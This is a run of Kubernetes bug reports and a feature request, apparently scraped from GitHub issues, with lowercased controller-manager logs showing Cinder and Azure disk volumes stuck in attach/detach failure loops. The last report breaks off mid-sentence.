2018-07-27 14:27:03.229488834 +0000 utc m=+187329.261326191  durationbeforeretry 4s . error: \ attachvolume.attach failed for volume \\\ pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8\\\   uniquename: \\\ kubernetes.io/cinder/ab98b078-2097-4b24-9a47-6ea68844b380\\\   from node \\\ k8s-node01\\\  : instance not found\ \r i0727 14:26:59.230189       1 event.go:218  event v1.objectreference{kind:\ pod\ , namespace:\ asciinema\ , name:\ asciinema-redis-0\ , uid:\ 0eea01ad-91a9-11e8-bf50-fa163e50aec8\ , apiversion:\ v1\ , resourceversion:\ 351760\ , fieldpath:\ \ } : type: 'warning' reason: 'failedattachvolume' attachvolume.attach failed for volume \ pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8\  : instance not found\r i0727 14:27:03.325629       1 reconciler.go:285  attacherdetacher.attachvolume started for volume \ pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8\   uniquename: \ kubernetes.io/cinder/ab98b078-2097-4b24-9a47-6ea68844b380\   from node \ k8s-node01\  \r e0727 14:27:03.530029       1 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/cinder/ab98b078-2097-4b24-9a47-6ea68844b380\\\ \  failed. no retries permitted until 2018-07-27 14:27:11.529960702 +0000 utc m=+187337.561798058  durationbeforeretry 8s . error: \ attachvolume.attach failed for volume \\\ pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8\\\   uniquename: \\\ kubernetes.io/cinder/ab98b078-2097-4b24-9a47-6ea68844b380\\\   from node \\\ k8s-node01\\\  : instance not found\ \r i0727 14:27:03.530626       1 event.go:218  event v1.objectreference{kind:\ pod\ , namespace:\ asciinema\ , name:\ asciinema-redis-0\ , uid:\ 0eea01ad-91a9-11e8-bf50-fa163e50aec8\ , apiversion:\ v1\ , resourceversion:\ 351760\ , fieldpath:\ \ } : type: 'warning' reason: 'failedattachvolume' attachvolume.attach failed for volume \ pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8\  : instance not found\r i0727 14:27:04.142535       1 wrap.go:42  get /healthz:  26.219µs  200   kube-probe/1.10  127.0.0.1:48852 \r i0727 14:27:11.545776       1 reconciler.go:285  attacherdetacher.attachvolume started for volume \ pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8\   uniquename: \ kubernetes.io/cinder/ab98b078-2097-4b24-9a47-6ea68844b380\   from node \ k8s-node01\  \r e0727 14:27:11.801901       1 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/cinder/ab98b078-2097-4b24-9a47-6ea68844b380\\\ \  failed. no retries permitted until 2018-07-27 14:27:27.801860832 +0000 utc m=+187353.833698174  durationbeforeretry 16s . error: \ attachvolume.attach failed for volume \\\ pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8\\\   uniquename: \\\ kubernetes.io/cinder/ab98b078-2097-4b24-9a47-6ea68844b380\\\   from node \\\ k8s-node01\\\  : instance not found\ \r i0727 14:27:11.802592       1 event.go:218  event v1.objectreference{kind:\ pod\ , namespace:\ asciinema\ , name:\ asciinema-redis-0\ , uid:\ 0eea01ad-91a9-11e8-bf50-fa163e50aec8\ , apiversion:\ v1\ , resourceversion:\ 351760\ , fieldpath:\ \ } : type: 'warning' reason: 'failedattachvolume' attachvolume.attach failed for volume \ pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8\  : instance not found\r i0727 14:27:14.142616       1 wrap.go:42  get /healthz:  25.643µs  200   kube-probe/1.10  127.0.0.1:48872 \r i0727 14:27:19.136883       1 controller_utils.go:210  recording status change nodenotready event message for node k8s-node01\r i0727 14:27:19.137093       1 controller_utils.go:141  update ready status of pods on node  k8s-node01 \r i0727 14:27:19.143521       1 controller_utils.go:158  updating ready status of pod asciinema-postgres-0 to false\r i0727 14:27:19.147432       1 controller_utils.go:158  updating ready status of pod asciinema-redis-0 to false\r i0727 14:27:19.150893       1 controller_utils.go:158  updating ready status of pod asciinema-smtp-0 to false\r i0727 14:27:19.164304       1 controller_utils.go:158  updating ready status of pod calico-node-v5wq8 to false\r i0727 14:27:19.186919       1 controller_utils.go:158  updating ready status of pod kube-dns-7bd4d5fbb6-ddrzv to false\r i0727 14:27:19.208726       1 controller_utils.go:158  updating ready status of pod kube-dns-7bd4d5fbb6-mpnpc to false\r i0727 14:27:19.228635       1 controller_utils.go:158  updating ready status of pod kube-proxy-k8s-node01 to false\r i0727 14:27:19.255339       1 controller_utils.go:158  updating ready status of pod nginx-proxy-k8s-node01 to false\r i0727 14:27:19.277139       1 controller_utils.go:158  updating ready status of pod tiller-deploy-5c688d5f9b-x9692 to false\r i0727 14:27:19.285535       1 controller_utils.go:158  updating ready status of pod traefik-ingress-controller-9cc9s to false\r i0727 14:27:19.552102       1 node_lifecycle_controller.go:691  deleting node  no longer present in cloud provider : k8s-node01\r i0727 14:27:19.552260       1 controller_utils.go:198  recording deleting node k8s-node01 because it's not present according to cloud provider event message for node k8s-node01\r i0727 14:27:19.562872       1 attach_detach_controller.go:481  error removing node \ k8s-node01\  from desired-state-of-world: failed to delete node \ k8s-node01\  from list of nodes managed by attach/detach controller--the node still contains 2 volumes in its list of volumes to attach\r i0727 14:27:24.142622       1 wrap.go:42  get /healthz:  27.069µs  200   kube-probe/1.10  127.0.0.1:48892 \r i0727 14:27:24.552870       1 node_lifecycle_controller.go:567  controller observed a node deletion: k8s-node01\r i0727 14:27:24.552966       1 controller_utils.go:198  recording removing node k8s-node01 from controller event message for node k8s-node01\r i0727 14:27:27.819840       1 reconciler.go:285  attacherdetacher.attachvolume started for volume \ pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8\   uniquename: \ kubernetes.io/cinder/ab98b078-2097-4b24-9a47-6ea68844b380\   from node \ k8s-node01\  \r e0727 14:27:28.001068       1 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/cinder/ab98b078-2097-4b24-9a47-6ea68844b380\\\ \  failed. no retries permitted until 2018-07-27 14:28:00.001025696 +0000 utc m=+187386.032863039  durationbeforeretry 32s . error: \ attachvolume.attach failed for volume \\\ pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8\\\   uniquename: \\\ kubernetes.io/cinder/ab98b078-2097-4b24-9a47-6ea68844b380\\\   from node \\\ k8s-node01\\\  : instance not found\ \r i0727 14:27:28.001724       1 event.go:218  event v1.objectreference{kind:\ pod\ , namespace:\ asciinema\ , name:\ asciinema-redis-0\ , uid:\ 0eea01ad-91a9-11e8-bf50-fa163e50aec8\ , apiversion:\ v1\ , resourceversion:\ 351760\ , fieldpath:\ \ } : type: 'warning' reason: 'failedattachvolume' attachvolume.attach failed for volume \ pvc-ed9be541-91a8-11e8-bf50-fa163e50aec8\  : instance not found\r w0727 14:27:29.524881       1 reconciler.go:235  attacherdetacher.detachvolume started for volume \ pvc-8bbfaab2-9005-11e8-bf50-fa163e50aec8\   uniquename: \ kubernetes.io/cinder/4bedddfb-d477-4c85-af54-12d3d43353ab\   on node \ k8s-node03\  this volume is not safe to detach, but maxwaitforunmountduration 6m0s expired, force detaching\r e0727 14:27:30.570430       1 attacher.go:384  error detaching volume \ 4bedddfb-d477-4c85-af54-12d3d43353ab\  from node \ k8s-node03\ : can not detach volume kubernetes-dynamic-pvc-8bbfaab2-9005-11e8-bf50-fa163e50aec8, its status is error\r e0727 14:27:30.571121       1 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/cinder/4bedddfb-d477-4c85-af54-12d3d43353ab\\\ \  failed. no retries permitted until 2018-07-27 14:29:32.571089071 +0000 utc m=+187478.602926413  durationbeforeretry 2m2s . error: \ detachvolume.detach failed for volume \\\ pvc-8bbfaab2-9005-11e8-bf50-fa163e50aec8\\\   uniquename: \\\ kubernetes.io/cinder/4bedddfb-d477-4c85-af54-12d3d43353ab\\\   on node \\\ k8s-node03\\\  : can not detach volume kubernetes-dynamic-pvc-8bbfaab2-9005-11e8-bf50-fa163e50aec8, its status is error\ \r i0727 14:27:30.588995       1 node_status_updater.go:68  could not update node status. failed to find node \ k8s-node03\  in nodeinformer cache. error: 'node \ k8s-node03\  not found'\r i0727 14:27:32.177149       1 gc_controller.go:162  found orphaned pod kube-proxy-k8s-node01 assigned to the node k8s-node01. deleting.\r i0727 14:27:32.177223       1 gc_controller.go:62  podgc is force deleting pod: kube-system:kube-proxy-k8s-node01\r i0727 14:27:32.197185       1 gc_controller.go:166  forced deletion of orphaned pod kube-proxy-k8s-node01 succeeded\r i0727 14:27:32.197246       1 gc_controller.go:162  found orphaned pod tiller-deploy-5c688d5f9b-x9692 assigned to the node k8s-node01. deleting.\r i0727 14:27:32.197272       1 gc_controller.go:62  podgc is force deleting pod: kube-system:tiller-deploy-5c688d5f9b-x9692\r i0727 14:27:32.205753       1 replica_set.go:477  too few replicas for replicaset kube-system/tiller-deploy-5c688d5f9b, need 1, creating 1\r i0727 14:27:32.220031       1 gc_controller.go:166  forced deletion of orphaned pod tiller-deploy-5c688d5f9b-x9692 succeeded\r i0727 14:27:32.220139       1 gc_controller.go:162  found orphaned pod kube-dns-7bd4d5fbb6-mpnpc assigned to the node k8s-node01. deleting.\r i0727 14:27:32.220199       1 gc_controller.go:62  podgc is force deleting pod: kube-system:kube-dns-7bd4d5fbb6-mpnpc\r i0727 14:27:32.237963       1 replica_set.go:477  too few replicas for replicaset kube-system/kube-dns-7bd4d5fbb6, need 2, creating 1\r i0727 14:27:32.261212       1 event.go:218  event v1.objectreference{kind:\ replicaset\ , namespace:\ kube-system\ , name:\ kube-dns-7bd4d5fbb6\ , uid:\ 2a8ec06b-8ff5-11e8-bf50-fa163e50aec8\ , apiversion:\ extensions\ , resourceversion:\ 351888\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: kube-dns-7bd4d5fbb6-8gg2g\r i0727 14:27:32.261288       1 event.go:218  event v1.objectreference{kind:\ replicaset\ , namespace:\ kube-system\ , name:\ tiller-deploy-5c688d5f9b\ , uid:\ 31893b47-8ff5-11e8-bf50-fa163e50aec8\ , apiversion:\ extensions\ , resourceversion:\ 351752\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: tiller-deploy-5c688d5f9b-px7zd\r i0727 14:27:32.290094       1 gc_controller.go:166  forced deletion of orphaned pod kube-dns-7bd4d5fbb6-mpnpc succeeded\r i0727 14:27:32.290161       1 gc_controller.go:162  found orphaned pod calico-node-v5wq8 assigned to the node k8s-node01. deleting.\r i0727 14:27:32.290187       1 gc_controller.go:62  podgc is force deleting pod: kube-system:calico-node-v5wq8\r i0727 14:27:32.350979       1 gc_controller.go:166  forced deletion of orphaned pod calico-node-v5wq8 succeeded\r i0727 14:27:32.351064       1 gc_controller.go:162  found orphaned pod traefik-ingress-controller-9cc9s assigned to the node k8s-node01. deleting.\r i0727 14:27:32.351090       1 gc_controller.go:62  podgc is force deleting pod: kube-system:traefik-ingress-controller-9cc9s\r i0727 14:27:32.405489       1 gc_controller.go:166  forced deletion of orphaned pod traefik-ingress-controller-9cc9s succeeded\r i0727 14:27:32.405554       1 gc_controller.go:162  found orphaned pod nginx-proxy-k8s-node01 assigned to the node k8s-node01. deleting.\r i0727 14:27:32.405580       1 gc_controller.go:62  podgc is force deleting pod: kube-system:nginx-proxy-k8s-node01\r i0727 14:27:32.423212       1 gc_controller.go:166  forced deletion of orphaned pod nginx-proxy-k8s-node01 succeeded\r i0727 14:27:32.423278       1 gc_controller.go:162  found orphaned pod kube-dns-7bd4d5fbb6-ddrzv assigned to the node k8s-node01. deleting.\r i0727 14:27:32.423303       1 gc_controller.go:62  podgc is force deleting pod: kube-system:kube-dns-7bd4d5fbb6-ddrzv\r i0727 14:27:32.438035       1 replica_set.go:477  too few replicas for replicaset kube-system/kube-dns-7bd4d5fbb6, need 2, creating 1\r i0727 14:27:32.457000       1 gc_controller.go:166  forced deletion of orphaned pod kube-dns-7bd4d5fbb6-ddrzv succeeded\r i0727 14:27:32.457117       1 gc_controller.go:162  found orphaned pod asciinema-redis-0 assigned to the node k8s-node01. deleting.\r i0727 14:27:32.457175       1 gc_controller.go:62  podgc is force deleting pod: asciinema:asciinema-redis-0\r i0727 14:27:32.459140       1 event.go:218  event v1.objectreference{kind:\ replicaset\ , namespace:\ kube-system\ , name:\ kube-dns-7bd4d5fbb6\ , uid:\ 2a8ec06b-8ff5-11e8-bf50-fa163e50aec8\ , apiversion:\ extensions\ , resourceversion:\ 351934\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: kube-dns-7bd4d5fbb6-wf5x5\r i0727 14:27:32.526206       1 gc_controller.go:166  forced deletion of orphaned pod asciinema-redis-0 succeeded\r i0727 14:27:32.526277       1 gc_controller.go:162  found orphaned pod asciinema-smtp-0 assigned to the node k8s-node01. deleting.\r i0727 14:27:32.526338       1 gc_controller.go:62  podgc is force deleting pod: asciinema:asciinema-smtp-0\r i0727 14:27:32.557063       1 event.go:218  event v1.objectreference{kind:\ statefulset\ , namespace:\ asciinema\ , name:\ asciinema-redis\ , uid:\ ed9896d0-91a8-11e8-bf50-fa163e50aec8\ , apiversion:\ apps\ , resourceversion:\ 351967\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' create pod asciinema-redis-0 in statefulset asciinema-redis successful\r i0727 14:27:32.586367       1 gc_controller.go:166  forced deletion of orphaned pod asciinema-smtp-0 succeeded\r i0727 14:27:32.586440       1 gc_controller.go:162  found orphaned pod asciinema-postgres-0 assigned to the node k8s-node01. deleting.\r i0727 14:27:32.586467       1 gc_controller.go:62  podgc is force deleting pod: asciinema:asciinema-postgres-0\r i0727 14:27:32.608309       1 event.go:218  event v1.objectreference{kind:\ statefulset\ , namespace:\ asciinema\ , name:\ asciinema-smtp\ , uid:\ 49486b02-91a5-11e8-bf50-fa163e50aec8\ , apiversion:\ apps\ , resourceversion:\ 351975\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' create pod asciinema-smtp-0 in statefulset asciinema-smtp successful\r i0727 14:27:32.621529       1 gc_controller.go:166  forced deletion of orphaned pod asciinema-postgres-0 succeeded\r i0727 14:27:32.651650       1 event.go:218  event v1.objectreference{kind:\ statefulset\ , namespace:\ asciinema\ , name:\ asciinema-postgres\ , uid:\ e8e7d511-91a8-11e8-bf50-fa163e50aec8\ , apiversion:\ apps\ , resourceversion:\ 351984\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' create pod asciinema-postgres-0 in statefulset asciinema-postgres successful\r i0727 14:27:34.142417       1 wrap.go:42  get /healthz:  20.271µs  200   kube-probe/1.10  127.0.0.1:48920 \r e0727 14:27:36.359990       1 attacher.go:154  error waiting for volume \ e8a2f9da-cd57-41c7-9018-f123a036e37d\  to be attached from node \ k8s-node01\ : volume \ e8a2f9da-cd57-41c7-9018-f123a036e37d\  failed to be attached within the alloted time\r e0727 14:27:36.360245       1 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/cinder/e8a2f9da-cd57-41c7-9018-f123a036e37d\\\ \  failed. no retries permitted until 2018-07-27 14:27:37.360218739 +0000 utc m=+187363.392056110  durationbeforeretry 1s . error: \ attachvolume.attach failed for volume \\\ pvc-e8eff4f6-91a8-11e8-bf50-fa163e50aec8\\\   uniquename: \\\ kubernetes.io/cinder/e8a2f9da-cd57-41c7-9018-f123a036e37d\\\   from node \\\ k8s-node01\\\  : volume \\\ e8a2f9da-cd57-41c7-9018-f123a036e37d\\\  failed to be attached within the alloted time\ \r i0727 14:27:36.360648       1 event.go:218  event v1.objectreference{kind:\ pod\ , namespace:\ asciinema\ , name:\ asciinema-postgres-0\ , uid:\ 0ec9aa8b-91a9-11e8-bf50-fa163e50aec8\ , apiversion:\ v1\ , resourceversion:\ 351730\ , fieldpath:\ \ } : type: 'warning' reason: 'failedattachvolume' attachvolume.attach failed for volume \ pvc-e8eff4f6-91a8-11e8-bf50-fa163e50aec8\  : volume \ e8a2f9da-cd57-41c7-9018-f123a036e37d\  failed to be attached within the alloted time\r

what would you like to be added  :\r this change is to use pluginmanager.findxxxpluginbyspec where appropriate:\r - to be consistent\r - to allow api to apply plugin filter automatically  i.e. canattach, candevicemount, etc .\r \r example:\r https://github.com/kubernetes/kubernetes/blob/46c8b075ded386d99de1cf3945168127403c12e9/pkg/volume/util/operationexecutor/operation_generator.go l864\r \r   why is this needed  :\r using findxxxpluginbyname does not apply these filters which are needed to avoid applying volume operations unto volumes that do not support them.\r \r 

what happened  :\r \r a disk that was just created by the azure disk provisioner remains in a attachvolume failure loop forever. the reported error makes little sense because the disk was never attached  it is new .\r \r the following pod events repeat:\r    \r events:\r   type     reason                  age                   from                                           message\r   ----     ------                  ----                  ----                                           -------\r   warning  failedattachvolume      18m  x99 over 3h24m   attachdetach-controller                        attachvolume.attach failed for volume \ pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756\  : attach volume \ k8s-mstr-cjm1-cust-z0-kub-dy-pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756\  to instance \ /subscriptions/<subs>/resourcegroups/cjm1-cust-z0/providers/microsoft.compute/virtualmachinescalesets/k8s-cust-20422154-vmss/virtualmachines/11\  failed with compute.virtualmachinescalesetvmsclient update: failure sending request: statuscode=409 -- original error: failed request: autorest/azure: service returned an error. status=<nil> code=\ attachdiskwhilebeingdetached\  message=\ cannot attach data disk 'b1380f4b-691d-45e5-ae65-3f1b20e0fed0' to vm 'k8s-cust-20422154-vmss_11' because the disk is currently being detached or the last detach operation failed. please wait until the disk is completely detached and then try again or delete/detach the disk explicitly again.\ \r    \r \r controller-manager's logs:\r    \r   create disk\r \r i0603 12:42:31.170936       1 azure_manageddiskcontroller.go:98  azuredisk - created new md name:k8s-mstr-cjm1-cust-z0-kub-dy-pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756 storageaccounttype:standard_lrs size:20\r i0603 12:42:31.176326       1 pv_controller.go:1544  volume \ pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756\  provisioned for claim \ default/customized-builder-job-cust-14727-pvc\ \r i0603 12:42:31.176782       1 event.go:218  event v1.objectreference{kind:\ persistentvolumeclaim\ , namespace:\ default\ , name:\ customized-builder-job-cust-14727-pvc\ , uid:\ 0a60a51f-85fd-11e9-aeac-000d3a2eb756\ , apiversion:\ v1\ , resourceversion:\ 25920797\ , fieldpath:\ \ } : type: 'normal' reason: 'provisioningsucceeded' successfully provisioned volume pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756 using kubernetes.io/azure-disk\r i0603 12:42:31.185755       1 pv_controller.go:799  volume \ pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756\  entered phase \ bound\ \r i0603 12:42:31.185784       1 pv_controller.go:938  volume \ pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756\  bound to claim \ default/customized-builder-job-cust-14727-pvc\ \r e0603 12:42:31.190605       1 pv_protection_controller.go:116  pv pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756 failed with : operation cannot be fulfilled on persistentvolumes \ pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756\ : the object has been modified; please apply your changes to the latest version and try again\r \r   attach disk\r \r i0603 12:42:33.117528       1 reconciler.go:281  attacherdetacher.attachvolume started for volume \ pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756\   uniquename: \ kubernetes.io/azure-disk//subscriptions/<subs>/resourcegroups/cjm1-cust-z0/providers/microsoft.compute/disks/k8s-mstr-cjm1-cust-z0-kub-dy-pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756\   from node \ k8s-cust-20422154-vmss00000b\  \r i0603 12:42:33.434327       1 azure_controller_vmss.go:87  azuredisk - update cjm1-cust-z0 : vm k8s-cust-20422154-vmss00000b  - attach disk k8s-mstr-cjm1-cust-z0-kub-dy-pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756, /subscriptions/<subs>/resourcegroups/cjm1-cust-z0/providers/microsoft.compute/disks/k8s-mstr-cjm1-cust-z0-kub-dy-pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756 \r i0603 12:42:33.691761       1 attacher.go:104  attach volume \ /subscriptions/<subs>/resourcegroups/cjm1-cust-z0/providers/microsoft.compute/disks/k8s-mstr-cjm1-cust-z0-kub-dy-pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756\  to instance \ /subscriptions/<subs>/resourcegroups/cjm1-cust-z0/providers/microsoft.compute/virtualmachinescalesets/k8s-cust-20422154-vmss/virtualmachines/11\  failed with compute.virtualmachinescalesetvmsclient update: failure sending request: statuscode=409 -- original error: failed request: autorest/azure: service returned an error. status=<nil> code=\ attachdiskwhilebeingdetached\  message=\ cannot attach data disk 'b1380f4b-691d-45e5-ae65-3f1b20e0fed0' to vm 'k8s-cust-20422154-vmss_11' because the disk is currently being detached or the last detach operation failed. please wait until the disk is completely detached and then try again or delete/detach the disk explicitly again.\ \r e0603 12:42:33.692046       1 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/azure-disk//subscriptions/<subs>/resourcegroups/cjm1-cust-z0/providers/microsoft.compute/disks/k8s-mstr-cjm1-cust-z0-kub-dy-pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756\\\ \  failed. no retries permitted until 2019-06-03 12:42:34.191955565 +0000 utc m=+248736.498325580  durationbeforeretry 500ms . error: \ attachvolume.attach failed for volume \\\ pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756\\\   uniquename: \\\ kubernetes.io/azure-disk//subscriptions/<subs>/resourcegroups/cjm1-cust-z0/providers/microsoft.compute/disks/k8s-mstr-cjm1-cust-z0-kub-dy-pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756\\\   from node \\\ k8s-cust-20422154-vmss00000b\\\  : attach volume \\\ k8s-mstr-cjm1-cust-z0-kub-dy-pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756\\\  to instance \\\ /subscriptions/<subs>/resourcegroups/cjm1-cust-z0/providers/microsoft.compute/virtualmachinescalesets/k8s-cust-20422154-vmss/virtualmachines/11\\\  failed with compute.virtualmachinescalesetvmsclient update: failure sending request: statuscode=409 -- original error: failed request: autorest/azure: service returned an error. status=<nil> code=\\\ attachdiskwhilebeingdetached\\\  message=\\\ cannot attach data disk 'b1380f4b-691d-45e5-ae65-3f1b20e0fed0' to vm 'k8s-cust-20422154-vmss_11' because the disk is currently being detached or the last detach operation failed. please wait until the disk is completely detached and then try again or delete/detach the disk explicitly again.\\\ \ \r i0603 12:42:33.692121       1 event.go:218  event v1.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ customized-builder-job-cust-14727\ , uid:\ 0a7818f3-85fd-11e9-aeac-000d3a2eb756\ , apiversion:\ v1\ , resourceversion:\ 25920825\ , fieldpath:\ \ } : type: 'warning' reason: 'failedattachvolume' attachvolume.attach failed for volume \ pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756\  : attach volume \ k8s-mstr-cjm1-cust-z0-kub-dy-pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756\  to instance \ /subscriptions/<subs>/resourcegroups/cjm1-cust-z0/providers/microsoft.compute/virtualmachinescalesets/k8s-cust-20422154-vmss/virtualmachines/11\  failed with compute.virtualmachinescalesetvmsclient update: failure sending request: statuscode=409 -- original error: failed request: autorest/azure: service returned an error. status=<nil> code=\ attachdiskwhilebeingdetached\  message=\ cannot attach data disk 'b1380f4b-691d-45e5-ae65-3f1b20e0fed0' to vm 'k8s-cust-20422154-vmss_11' because the disk is currently being detached or the last detach operation failed. please wait until the disk is completely detached and then try again or delete/detach the disk explicitly again.\ \r \r   same error goes on and on and on  see timestamp below \r \r i0603 15:01:29.810679       1 reconciler.go:281  attacherdetacher.attachvolume started for volume \ pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756\   uniquename: \ kubernetes.io/azure-disk//subscriptions/<subs>/resourcegroups/cjm1-cust-z0/providers/microsoft.compute/disks/k8s-mstr-cjm1-cust-z0-kub-dy-pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756\   from node \ k8s-cust-20422154-vmss00000b\  \r i0603 15:01:29.880708       1 azure_controller_vmss.go:87  azuredisk - update cjm1-cust-z0 : vm k8s-cust-20422154-vmss00000b  - attach disk k8s-mstr-cjm1-cust-z0-kub-dy-pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756, /subscriptions/<subs>/resourcegroups/cjm1-cust-z0/providers/microsoft.compute/disks/k8s-mstr-cjm1-cust-z0-kub-dy-pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756 \r i0603 15:01:30.121960       1 attacher.go:104  attach volume \ /subscriptions/<subs>/resourcegroups/cjm1-cust-z0/providers/microsoft.compute/disks/k8s-mstr-cjm1-cust-z0-kub-dy-pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756\  to instance \ /subscriptions/<subs>/resourcegroups/cjm1-cust-z0/providers/microsoft.compute/virtualmachinescalesets/k8s-cust-20422154-vmss/virtualmachines/11\  failed with compute.virtualmachinescalesetvmsclient update: failure sending request: statuscode=409 -- original error: failed request: autorest/azure: service returned an error. status=<nil> code=\ attachdiskwhilebeingdetached\  message=\ cannot attach data disk 'b1380f4b-691d-45e5-ae65-3f1b20e0fed0' to vm 'k8s-cust-20422154-vmss_11' because the disk is currently being detached or the last detach operation failed. please wait until the disk is completely detached and then try again or delete/detach the disk explicitly again.\ \r e0603 15:01:30.122197       1 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/azure-disk//subscriptions/<subs>/resourcegroups/cjm1-cust-z0/providers/microsoft.compute/disks/k8s-mstr-cjm1-cust-z0-kub-dy-pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756\\\ \  failed. no retries permitted until 2019-06-03 15:03:32.122144987 +0000 utc m=+257194.428515102  durationbeforeretry 2m2s . error: \ attachvolume.attach failed for volume \\\ pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756\\\   uniquename: \\\ kubernetes.io/azure-disk//subscriptions/<subs>/resourcegroups/cjm1-cust-z0/providers/microsoft.compute/disks/k8s-mstr-cjm1-cust-z0-kub-dy-pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756\\\   from node \\\ k8s-cust-20422154-vmss00000b\\\  : attach volume \\\ k8s-mstr-cjm1-cust-z0-kub-dy-pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756\\\  to instance \\\ /subscriptions/<subs>/resourcegroups/cjm1-cust-z0/providers/microsoft.compute/virtualmachinescalesets/k8s-cust-20422154-vmss/virtualmachines/11\\\  failed with compute.virtualmachinescalesetvmsclient update: failure sending request: statuscode=409 -- original error: failed request: autorest/azure: service returned an error. status=<nil> code=\\\ attachdiskwhilebeingdetached\\\  message=\\\ cannot attach data disk 'b1380f4b-691d-45e5-ae65-3f1b20e0fed0' to vm 'k8s-cust-20422154-vmss_11' because the disk is currently being detached or the last detach operation failed. please wait until the disk is completely detached and then try again or delete/detach the disk explicitly again.\\\ \ \r i0603 15:01:30.122251       1 event.go:218  event v1.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ customized-builder-job-cust-14727\ , uid:\ 0a7818f3-85fd-11e9-aeac-000d3a2eb756\ , apiversion:\ v1\ , resourceversion:\ 25920825\ , fieldpath:\ \ } : type: 'warning' reason: 'failedattachvolume' attachvolume.attach failed for volume \ pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756\  : attach volume \ k8s-mstr-cjm1-cust-z0-kub-dy-pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756\  to instance \ /subscriptions/<subs>/resourcegroups/cjm1-cust-z0/providers/microsoft.compute/virtualmachinescalesets/k8s-cust-20422154-vmss/virtualmachines/11\  failed with compute.virtualmachinescalesetvmsclient update: failure sending request: statuscode=409 -- original error: failed request: autorest/azure: service returned an error. status=<nil> code=\ attachdiskwhilebeingdetached\  message=\ cannot attach data disk 'b1380f4b-691d-45e5-ae65-3f1b20e0fed0' to vm 'k8s-cust-20422154-vmss_11' because the disk is currently being detached or the last detach operation failed. please wait until the disk is completely detached and then try again or delete/detach the disk explicitly again.\ \r    \r \r state of the disk returned by the azure api:\r    javascript\r {\r   \ creationdata\ : {\r     \ createoption\ : \ empty\ ,\r     \ imagereference\ : null,\r     \ sourceresourceid\ : null,\r     \ sourceuri\ : null,\r     \ storageaccountid\ : null\r   },\r   \ diskiopsreadwrite\ : 500,\r   \ diskmbpsreadwrite\ : 60,\r   \ disksizegb\ : 20,\r   \ diskstate\ : \ unattached\ ,\r   \ encryptionsettingscollection\ : null,\r   \ hypervgeneration\ : null,\r   \ id\ : \ /subscriptions/<subs>/resourcegroups/cjm1-cust-z0/providers/microsoft.compute/disks/k8s-mstr-cjm1-cust-z0-kub-dy-pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756\ ,\r   \ location\ : \ westeurope\ ,\r   \ managedby\ : null,\r   \ name\ : \ k8s-mstr-cjm1-cust-z0-kub-dy-pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756\ ,\r   \ ostype\ : null,\r   \ provisioningstate\ : \ succeeded\ ,\r   \ resourcegroup\ : \ cjm1-cust-z0\ ,\r   \ sku\ : {\r     \ name\ : \ standard_lrs\ ,\r     \ tier\ : \ standard\ \r   },\r   \ tags\ : {\r     \ created-by\ : \ kubernetes-azure-dd\ ,\r     \ kubernetes.io-created-for-pv-name\ : \ pvc-0a60a51f-85fd-11e9-aeac-000d3a2eb756\ ,\r     \ kubernetes.io-created-for-pvc-name\ : \ customized-builder-job-cust-14727-pvc\ ,\r     \ kubernetes.io-created-for-pvc-namespace\ : \ default\ \r   },\r   \ timecreated\ : \ 2019-06-03t12:42:26.024550+00:00\ ,\r   \ type\ : \ microsoft.compute/disks\ ,\r   \ zones\ : null\r }\r    \r \r there is no other disk attached to this vmss instance.\r \r   what you expected to happen  :\r \r the new azure disk attaches immediately.\r \r   how to reproduce it  :\r \r a single pod with a single azure 